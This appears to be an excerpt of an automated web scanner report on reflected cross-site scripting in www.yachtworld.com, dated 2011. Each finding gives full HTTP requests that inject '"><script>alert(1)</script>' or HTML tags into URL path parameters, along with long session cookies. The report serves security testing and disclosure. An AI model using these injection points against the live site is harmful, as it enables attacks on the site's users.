s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:07 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cda34"><script>alert(1)</script>30daa26db3e was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Cruisers/1cda34"><script>alert(1)</script>30daa26db3e HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:16 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20a31"><a>1a2df65a28b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type20a31"><a>1a2df65a28b/Formula/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:40 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 40598"><a>196174be55b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Formula40598"><a>196174be55b/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:50 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload acaf2"><script>alert(1)</script>c7c84a6c04c was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Formula/1acaf2"><script>alert(1)</script>c7c84a6c04c HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:01 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e177"><script>alert(1)</script>960cd3935d4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type2e177"><script>alert(1)</script>960cd3935d4/Four+Winns/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; 